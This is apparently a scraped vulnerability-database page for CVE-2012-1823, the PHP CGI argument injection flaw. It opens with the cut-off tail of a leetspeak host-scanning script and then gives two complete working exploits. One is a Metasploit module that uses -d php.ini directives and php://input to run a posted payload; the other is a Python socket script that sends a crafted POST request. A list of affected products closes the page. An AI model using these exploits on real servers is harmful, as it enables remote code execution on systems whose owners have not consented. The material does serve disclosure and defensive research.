run_threads(args, h0sts, m0de, vu1nz, None, None)
if args.i:
print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i)
m0de = VULN
h0sts = tuple(open(args.i, 'r'))
run_threads(args, h0sts, m0de, vu1nz, None, None)
except KeyboardInterrupt:
sys.stdout.flush()
sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
raise SystemExit
return
def m41n():
if __name__ == "__main__":
print "--==[ ap-unlock-v1337.py by
[email protected] ]==--"
c0ntr0ller()
else:
print "[-] 3rr0r: y0u fuck3d up dud3"
sys.exit(1)
print "[+] h0p3 1t h3lp3d"
# \o/ fr33 requiem 1337 h4x0rs ...
m41n()
# e0F
Exploit Database EDB-ID : 18834
Date de publication : 2012-05-03 22:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP CGI Argument Injection',
'Description' => %q{
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
an argument injection vulnerability. This module takes advantage of
the -d flag to set php.ini directives to achieve code execution.
From the advisory: "if there is NO unescaped '=' in the query string,
the string is split on '+' (encoded space) characters, urldecoded,
passed to a function that escapes shell metacharacters (the "encoded in
a system-defined manner" from the RFC) and then passes them to the CGI
binary."
},
'Author' => [ 'egypt', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [
[ "CVE" , "2012-1823" ],
[ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DisclosureDate' => 'May 03 2012',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
register_options([
OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
], self.class)
end
# php-cgi -h
# ...
# -s Display colour syntax highlighted source.
def check
uri = target_uri.path
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{uri}")
response = send_request_raw({ 'uri' => uri })
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
return Exploit::CheckCode::Unknown
end
response = send_request_raw({ 'uri' => uri + '?-s'})
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
return Exploit::CheckCode::Vulnerable
end
print_error("Server responded indicating it was not vulnerable")
return Exploit::CheckCode::Safe
end
def exploit
begin
args = [
"-d+allow_url_include%3d#{rand_php_ini_true}",
"-d+safe_mode%3d#{rand_php_ini_false}",
"-d+suhosin.simulation%3d#{rand_php_ini_true}",
"-d+disable_functions%3d%22%22",
"-d+open_basedir%3dnone",
"-d+auto_prepend_file%3dphp://input",
"-n"
]
qs = args.join("+")
uri = "#{target_uri}?#{qs}"
# Has to be all on one line, so gsub out the comments and the newlines
payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
response = send_request_cgi( {
'method' => "POST",
'global' => true,
'uri' => uri,
'data' => payload_oneline,
}, 0.5)
handler
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error("The target service unreachable")
rescue ::OpenSSL::SSL::SSLError
print_error("The target failed to negotiate SSL, is this really an SSL service?")
end
end
def rand_php_ini_false
Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
end
def rand_php_ini_true
Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
end
end
Exploit Database EDB-ID : 18836
Date de publication : 2012-05-04 22:00 +00:00
Auteur : rayh4c
EDB Vérifié : Yes
######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################
import socket
import sys
def cgi_exploit():
pwn_code = """<?php phpinfo();?>"""
post_Length = len(pwn_code)
http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s
""" %(HOST , post_Length ,pwn_code)
print http_raw
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, int(PORT)))
sock.send(http_raw)
data = sock.recv(10000)
print repr(data)
sock.close()
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(1)
if __name__ == '__main__':
try:
HOST = sys.argv[1]
PORT = sys.argv[2]
cgi_exploit()
except IndexError:
print '[+]Usage: cgi_test.py site.com 80'
sys.exit(-1)
Products Mentioned
Configuraton 0
Php>>Php >> Version To (excluding) 5.3.12
Php>>Php >> Version From (including) 5.4.0 To (excluding) 5.4.2
Configuraton 0
Fedoraproject>>Fedora >> Version 39
Fedoraproject>>Fedora >> Version 40
Configuraton 0
Debian>>Debian_linux >> Version 6.0
Configuraton 0
Hp>>Hp-ux >> Version b.11.23
Hp>>Hp-ux >> Version b.11.31
Configuraton 0
Opensuse>>Opensuse >> Version 11.4
Opensuse>>Opensuse >> Version 12.1
Suse>>Linux_enterprise_server >> Version 10
Suse>>Linux_enterprise_server >> Version 11
Suse>>Linux_enterprise_server >> Version 11
Suse>>Linux_enterprise_software_development_kit >> Version 10
Suse>>Linux_enterprise_software_development_kit >> Version 11
Configuraton 0
Apple>>Mac_os_x >> Version From (including) 10.6.8 To (excluding) 10.7.5
Apple>>Mac_os_x >> Version From (including) 10.8.0 To (excluding) 10.8.2
Configuraton 0
Redhat>>Application_stack >> Version 2.0
Redhat>>Gluster_storage_server_for_on-premise >> Version 2.0
Redhat>>Storage >> Version 2.0
Redhat>>Storage_for_public_cloud >> Version 2.0
Redhat>>Enterprise_linux_desktop >> Version 6.0
Redhat>>Enterprise_linux_eus >> Version 5.6
Redhat>>Enterprise_linux_eus >> Version 6.1
Redhat>>Enterprise_linux_eus >> Version 6.2
Redhat>>Enterprise_linux_server >> Version 5.0
Redhat>>Enterprise_linux_server >> Version 6.0
Redhat>>Enterprise_linux_server_aus >> Version 5.3
Redhat>>Enterprise_linux_server_aus >> Version 5.6
Redhat>>Enterprise_linux_workstation >> Version 5.0
Redhat>>Enterprise_linux_workstation >> Version 6.0
References